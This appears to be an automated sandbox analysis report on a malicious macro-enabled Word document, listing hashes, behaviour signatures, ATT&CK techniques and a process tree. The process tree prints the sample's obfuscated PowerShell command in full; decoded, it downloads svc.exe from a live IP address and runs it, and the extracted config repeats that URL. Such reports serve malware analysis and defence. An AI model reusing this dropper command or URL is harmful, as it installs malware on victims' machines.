616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0

General

Target

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
Size

518KB
MD5

1f2d795ca29afadf24325cfbb3f60e4e
SHA1

d5e05bf7300a09b6706082907e726b0d5a09e550
SHA256

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0
SHA512

40ff395e3e62e9c0b47d9ec088129042b26ceeee28c76c23615086c33fcbc57250a8c4ea53464dfd5398a5e023743dca988d7c86ec1f6039a873d8b3352393b7
SSDEEP

6144:sEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrOSo:sEcJHNopZW9eLH8WyITLfyXXvqxj9o

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://94.232.249.161/download/svc.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3420	1384	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

28 5088 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

svc.exe

pid process

5008 svc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4160 5008 WerFault.exe svc.exe

flow	pid	process
28	5088	powershell.exe

pid	process
5008	svc.exe

pid	pid_target	process	target process
4160	5008	WerFault.exe	svc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

840 timeout.exe

pid	process
840	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1384 WINWORD.EXE
1384 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3680 powershell.exe
3680 powershell.exe
3680 powershell.exe
5088 powershell.exe
5088 powershell.exe
5088 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3680 powershell.exe
Token: SeDebugPrivilege 5088 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1384 WINWORD.EXE
1384 WINWORD.EXE
1384 WINWORD.EXE
1384 WINWORD.EXE
1384 WINWORD.EXE
1384 WINWORD.EXE
1384 WINWORD.EXE

pid	process
1384	WINWORD.EXE
1384	WINWORD.EXE

pid	process
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe

pid	process
1384	WINWORD.EXE
1384	WINWORD.EXE
1384	WINWORD.EXE
1384	WINWORD.EXE
1384	WINWORD.EXE
1384	WINWORD.EXE
1384	WINWORD.EXE

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1384 wrote to memory of 3420	1384	WINWORD.EXE	cmd.exe
PID 1384 wrote to memory of 3420	1384	WINWORD.EXE	cmd.exe
PID 3420 wrote to memory of 840	3420	cmd.exe	timeout.exe
PID 3420 wrote to memory of 840	3420	cmd.exe	timeout.exe
PID 3420 wrote to memory of 3680	3420	cmd.exe	powershell.exe
PID 3420 wrote to memory of 3680	3420	cmd.exe	powershell.exe
PID 3680 wrote to memory of 5088	3680	powershell.exe	powershell.exe
PID 3680 wrote to memory of 5088	3680	powershell.exe	powershell.exe
PID 5088 wrote to memory of 5008	5088	powershell.exe	svc.exe
PID 5088 wrote to memory of 5008	5088	powershell.exe	svc.exe
PID 5088 wrote to memory of 5008	5088	powershell.exe	svc.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA5ADQALgAyADMAMgAuADIANAA5AC4AMQA2ADEALwBkAG8AdwBuAGwAbwBhAGQALwBzAHYAYwAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAC4AZQB4AGUAIgA7ACAAJABXAGUAYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVAHIAbAAsACAAJABQAHQAaAApADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFAAdABoADsA
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\Users\Admin\AppData\Local\Temp\svc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svc.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        
        PID:5008
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 352
        6⤵
        Program crash
        
        PID:4160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5008 -ip 5008
1⤵
PID:1832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4176,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:8
1⤵
PID:4104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4gia000.aqa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\svc.exe

Filesize
180KB

MD5
92c57dd80b764a028749520017d44e76

SHA1
f732220adaacf23de6cc69d964341766d2e350d9

SHA256
dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

SHA512
dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
memory/1384-28-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-4-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-7-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-2-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-9-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-11-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-10-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-12-0x00007FFBE2B50000-0x00007FFBE2B60000-memory.dmp

Filesize
64KB

Download
memory/1384-13-0x00007FFBE2B50000-0x00007FFBE2B60000-memory.dmp

Filesize
64KB

Download
memory/1384-26-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-27-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-0-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-5-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-577-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-6-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-8-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-3-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-575-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-1-0x00007FFC2500D000-0x00007FFC2500E000-memory.dmp

Filesize
4KB

Download
memory/1384-546-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-547-0x00007FFC2500D000-0x00007FFC2500E000-memory.dmp

Filesize
4KB

Download
memory/1384-548-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-549-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-550-0x00007FFC24F70000-0x00007FFC25165000-memory.dmp

Filesize
2.0MB

Download
memory/1384-573-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-574-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/1384-576-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp

Filesize
64KB

Download
memory/3680-32-0x0000024740520000-0x0000024740542000-memory.dmp

Filesize
136KB

Download
memory/5008-63-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads